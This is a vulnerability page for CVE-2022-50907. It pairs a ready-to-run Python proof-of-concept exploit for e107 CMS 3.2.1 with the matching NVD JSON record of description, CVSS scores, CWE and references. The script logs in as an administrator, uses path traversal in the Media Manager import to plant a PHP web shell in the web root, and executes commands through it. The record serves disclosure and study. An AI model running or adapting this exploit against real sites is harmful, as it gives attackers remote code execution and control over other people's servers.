CVE-2022-50907

import requests import sys # CVE-2022-50907 PoC - e107 CMS File Upload RCE # Target: e107 CMS 3.2.1 # Vulnerability: Admin authenticated file upload bypass via path traversal def exploit(target_url, username, password): """ Exploit CVE-2022-50907 """ session = requests.Session() # Step 1: Login as admin login_url = f"{target_url}/e107_admin/login.php" login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data) # Step 2: Upload malicious PHP file via media manager upload_url = f"{target_url}/e107_admin/media.php" # Path traversal to upload to web root files = { "file": ("../../../shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php") } data = { "mode": "import", "upload_path": "../../.." } resp = session.post(upload_url, files=files, data=data) # Step 3: Execute command via uploaded webshell shell_url = f"{target_url}/shell.php" cmd = "whoami" exec_url = f"{shell_url}?cmd={cmd}" resp = session.get(exec_url) print(f"Command output: {resp.text}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <admin_user> <admin_pass>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2022-50907", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:53.440", "lastModified": "2026-01-16T19:16:12.860", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "e107 CMS version 3.2.1 contains a file upload vulnerability that allows authenticated administrative users to bypass upload restrictions and execute PHP files. Attackers can upload malicious PHP files to parent directories by manipulating the upload URL parameter, enabling remote code execution through the Media Manager import feature."}, {"lang": "es", "value": "e107 CMS versión 3.2.1 contiene una vulnerabilidad de carga de archivos que permite a usuarios administrativos autenticados eludir las restricciones de carga y ejecutar archivos PHP. Los atacantes pueden cargar archivos PHP maliciosos en directorios padre manipulando el parámetro URL de carga, lo que permite la ejecución remota de código a través de la función de importación del Administrador de Medios."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:e107:e107:3.2.1:*:*:*:*:*:*:*", "matchCriteriaId": "B1CF95DE-65CF-490D-9817-616CF704B16B"}]}]}], "references": [{"url": "https://e107.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://e107.org/download", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/50910", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/e-cms-admin-upload-restriction-bypass-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}